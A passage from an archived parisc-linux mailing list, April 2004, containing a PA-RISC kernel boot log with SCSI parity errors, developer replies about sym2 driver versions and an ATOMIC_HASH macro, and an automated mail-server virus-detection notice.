message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.5-rc3-pa3 (grundler@ios) (gcc version 3.3.3 (Debian 20040401)) #1 Sat Apr 3 23:06:14 PST 2004
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005cb0 00000491 00000000 00000001 23355fdc 100000f0 00000008 000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x1
model 9000/800/A500-44
Total Memory: 2048 Mb
On node 0 totalpages: 524288
  DMA zone: 524288 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Built 1 zonelists
Kernel command line: HOME=/ TERM=linux root=/dev/md2 console=ttyS0 palo_kernel=3/boot/vmlinux-2.6.5-rc3-pa3
PID hash table entries: 16 (order 4: 256 bytes)
Console: colour dummy device 160x64
Memory: 2048124k available
Calibrating delay loop... 874.49 BogoMIPS
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Crescendo 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5cb, 0x00004 }
2. Crescendo 440 at 0xfffffffffffa2000 [162] { 0, 0x0, 0x5cb, 0x00004 }
3. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
4. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
7. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
8. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of parisc-94 failed with error 1
CPU(s): 1 x PA8500 (PCX-W) at 440.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
SCSI subsystem initialized
Performance monitoring counters enabled for Crescendo 440
ikconfig 0.7 with /proc/config*
Initializing Cryptographic API
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfffffffff8000000 (irq = 132) is a 16550A
ttyS1 at MMIO 0xfffffffff8000008 (irq = 132) is a 16550A
ttyS2 at MMIO 0xfffffffff8000010 (irq = 132) is a 16550A
ttyS3 at MMIO 0xfffffffff8005000 (irq = 133) is a 16550A
ttyS4 at MMIO 0xfffffffff8005008 (irq = 133) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 129
sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18f
Using anticipatory io scheduler
sym0:0:0: ABORT operation started.
sym0:0:0: ABORT operation complete.
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:0:0: tagged command queuing enabled, command queue depth 16.
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:1:0: tagged command queuing enabled, command queue depth 16.
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:2:0: tagged command queuing enabled, command queue depth 16.
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:3:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP        Model: D5989B            Rev: 1.02
  Type:   Processor                          ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:8:0: tagged command queuing enabled, command queue depth 16.
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:9:0: tagged command queuing enabled, command queue depth 16.
sym1: <896> rev 0x7 at pci 0000:00:01.1 irq 130
sym1: No NVRAM, ID 7, Fast-40, SE, parity checking
sym1: SCSI BUS has been reset.
sym1: SCSI BUS mode change from SE to SE.
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18f
  Vendor: SEAGATE   Model: ST39173LC         Rev: 5912
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym1:15:0: tagged command queuing enabled, command queue depth 16.
sym2: <875> rev 0x14 at pci 0000:00:02.0 irq 130
sym2: No NVRAM, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.1.18f
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym2:0:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym2:1:0: tagged command queuing enabled, command queue depth 16.
sym2:2: FAST-10 WIDE SCSI 20.0 MB/s ST (100.0 ns, offset 15)
sym2: SCSI parity error detected: SCR1=1 DBC=11000000 SBCL=29
sym2: SCSI parity error detected: SCR1=1 DBC=1100000e SBCL=ae
sym2: SCSI parity error detected: SCR1=1 DBC=11000000 SBCL=29
sym2: SCSI parity error detected: SCR1=1 DBC=1100000e SBCL=ae
sym2: SCSI parity error detected: SCR1=1 DBC=11000000 SBCL=29
sym2: SCSI parity error detected: SCR1=1 DBC=1100000e SBCL=ae
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym2:3:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP        Model: D5989B            Rev: 1.02
  Type:   Processor                          ANSI SCSI revision: 02
sym3: <875> rev 0x14 at pci 0000:00:02.1 irq 131
sym3: No NVRAM, ID 7, Fast-20, SE, parity checking
sym3: SCSI BUS has been reset.
scsi3 : sym-2.1.18f
  Vendor: SEAGATE   Model: ST39173LC         Rev: 5912
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym3:15:0: tagged command queuing enabled, command queue depth 16.
st: Version 20040318, fixed bufsize 32768, s/g segs 256
sym0:0: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sda: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sda: drive cache: write through
 sda: unknown partition table
Attached scsi disk sda at scsi0, channel 0, id 0, lun 0
sym0:1: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sdb: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdb: drive cache: write through
 sdb: unknown partition table
Attached scsi disk sdb at scsi0, channel 0, id 1, lun 0
sym0:2: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sdc: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdc: drive cache: write through
 sdc: unknown partition table
Attached scsi disk sdc at scsi0, channel 0, id 2, lun 0
sym0:3: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sdd: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdd: drive cache: write through
 sdd: unknown partition table
Attached scsi disk sdd at scsi0, channel 0, id 3, lun 0
sym0:8: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sde: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sde: drive cache: write through
 sde: unknown partition table
Attached scsi disk sde at scsi0, channel 0, id 8, lun 0
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sdf: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdf: drive cache: write through
 sdf: unknown partition table
Attached scsi disk sdf at scsi0, channel 0, id 9, lun 0
sym1:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sdg: 17781521 512-byte hdwr sectors (9104 MB)
SCSI device sdg: drive cache: write back
 sdg: sdg1 sdg2 sdg3 sdg4
Attached scsi disk sdg at scsi1, channel 0, id 15, lun 0
sym2:0: FAST-10 WIDE SCSI 20.0 MB/s ST (100.0 ns, offset 15)
sym2: SCSI parity error detected: SCR1=1 DBC=1100000e SBCL=ae
<EOF>


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Domain Validation or gcc 3.3.3 bug?
Date: Sun, 4 Apr 2004 15:13:53 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20040404141353.GS16469@parcelfarce.linux.theplanet.co.uk>
References: <20040404072311.GA2650@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623330 7571 80.91.229.3 (22 Nov 2014 02:28:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Sun Apr  4 08:13:55 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FFDE49EB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Apr 2004 08:13:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1BA8Nl-0004Cu-Ha; Sun, 04 Apr 2004 15:13:53 +0100
Content-Disposition: inline
In-Reply-To: <20040404072311.GA2650@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Apr 2004 14:13:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21276

On Sun, Apr 04, 2004 at 12:23:11AM -0700, Grant Grundler wrote:
> I trying to build/boot 64-bit UP kernel on an A500.
> But using gcc 3.3.3 tool chain...I'd just blame the toolchain
> but this box (intentionally) has a "wide" SCSI disk tray
> connected to the "narrow" SE SCSI port on the a500.
> Seems the Domain Validation isn't quite working?
> Or this remind someone of any gcc 3.3.3 bugs?

> sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 129
> sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
> sym0: SCSI BUS has been reset.
> scsi0 : sym-2.1.18f

2.1.18f doesn't have domain validation ... you must have downgraded to
an earlier version of the sym2 driver.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Domain Validation or gcc 3.3.3 bug?
Date: Sun, 4 Apr 2004 15:39:49 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20040404213949.GA14004@colo.lackof.org>
References: <20040404072311.GA2650@colo.lackof.org>
	<20040404141353.GS16469@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623330 7573 80.91.229.3 (22 Nov 2014 02:28:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Sun Apr  4 15:39:51 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E4BB483C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Apr 2004 15:39:51 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 773502980BE; Sun,  4 Apr 2004 15:39:50 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13974-04; Sun, 4 Apr 2004 15:39:49 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D883D2980BD; Sun,  4 Apr 2004 15:39:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040404141353.GS16469@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Apr 2004 21:39:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21277

On Sun, Apr 04, 2004 at 03:13:53PM +0100, Matthew Wilcox wrote:
> 2.1.18f doesn't have domain validation

ah ok.
>  ... you must have downgraded to
> an earlier version of the sym2 driver.

Certainly not intentionally.
I'm using "cvs up" with "update -Pd" in my .csvrc.
My linux-2.6 source tree on ion also has (2.6.5-rc3-pa3 based) "sym-2.1.18f".
I just ran cvs up again on "ios" and now have 2.6.5-pa0 with sym-2.1.18j.

thanks,
grant


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Domain Validation or gcc 3.3.3 bug?
Date: Sun, 4 Apr 2004 15:55:32 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20040404215532.GA14449@colo.lackof.org>
References: <20040404072311.GA2650@colo.lackof.org>
	<20040404141353.GS16469@parcelfarce.linux.theplanet.co.uk>
	<20040404213949.GA14004@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623330 7577 80.91.229.3 (22 Nov 2014 02:28:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Sun Apr  4 15:55:33 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9DBF483C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Apr 2004 15:55:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5DD182980BE; Sun,  4 Apr 2004 15:55:33 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 14421-06; Sun, 4 Apr 2004 15:55:33 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E15FA2980BD; Sun,  4 Apr 2004 15:55:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040404213949.GA14004@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Apr 2004 21:55:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21278

On Sun, Apr 04, 2004 at 03:39:49PM -0600, Grant Grundler wrote:
> >  ... you must have downgraded to
> > an earlier version of the sym2 driver.
> 
> Certainly not intentionally.

my bad. Probably was intentional and I just forgot.
The CVS/Entries file had "TLINUX_262" on the end.

thanks,
grant


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Mon, 5 Apr 2004 01:44:58 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <042301c41a9e$d711cf00$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623331 7580 80.91.229.3 (22 Nov 2014 02:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:51 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Sun Apr  4 17:44:49 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 275AA4A5C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Apr 2004 17:44:49 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E8833A.dip0.t-ipconnect.de
	[217.232.131.58])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i34Nigo19212
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Apr 2004 01:44:47 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Mon, 5 Apr 2004 01:44:59 +0200
thread-index: AcQantcRjLhT1Tu8QdqGj0bxyGzrUA==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 04 Apr 2004 23:44:59.0130 (UTC)
	FILETIME=[D73A65A0:01C41A9E]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Apr 2004 23:44:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21279

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/5/2004 1:44:58 AM
Engine/Pattern = 7.000-1004/1.849.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ATOMIC_HASH brainfart
Date: Mon, 05 Apr 2004 01:08:00 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <1081123678.10091.19.camel@dhcp23.swansea.linux.org.uk>
References: <20040404065604.GA2335@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623331 7582 80.91.229.3 (22 Nov 2014 02:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:51 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Apr  4 18:12:12 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (the-village.bc.nu [81.2.110.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B60C648AB; Sun,  4 Apr 2004 18:12:11 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i350870r010151; Mon, 5 Apr 2004 01:08:08 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	i35087al010149; Mon, 5 Apr 2004 01:08:07 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20040404065604.GA2335@colo.lackof.org>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 00:12:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21280

On Sul, 2004-04-04 at 07:56, Grant Grundler wrote:
> Hi all,
> Seems like someone was confused when they hacked ATOMIC_HASH macro.
> Cacheline is 64 bytes not 256...but I've been told several times gcc
> is smart enough to convert "foo/64" to "foo>>6"...then just use
> the L1_CACHE_BYTES definition to indicate intent?

IFF foo is a constant or foo is unsigned. Looks fine to me



From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ATOMIC_HASH brainfart
Date: Sun, 4 Apr 2004 17:20:26 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20040405002026.GT750@tausq.org>
References: <20040404065604.GA2335@colo.lackof.org>
	<1081123678.10091.19.camel@dhcp23.swansea.linux.org.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623331 7587 80.91.229.3 (22 Nov 2014 02:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:51 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: randolph@tausq.org  Sun Apr  4 18:16:44 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9DB9C48AB; Sun,  4 Apr 2004 18:16:44 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 796E7CD28A; Sun,  4 Apr 2004 17:20:26 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1081123678.10091.19.camel@dhcp23.swansea.linux.org.uk>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 00:16:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21281

> > Seems like someone was confused when they hacked ATOMIC_HASH macro.
> > Cacheline is 64 bytes not 256...but I've been told several times gcc
> > is smart enough to convert "foo/64" to "foo>>6"...then just use
> > the L1_CACHE_BYTES definition to indicate intent?
> 
> IFF foo is a constant or foo is unsigned. Looks fine to me

or you can even use L1_CACHE_SHIFT :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 04 Apr 2004 22:49:15 -0400
Lines: 355
Approved: news@gmane.org
Message-ID: <1081133356.2112.36.camel@mulgrave>
References: <20040405024740.9330F494194@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623332 7590 80.91.229.3 (22 Nov 2014 02:28:52 GMT)
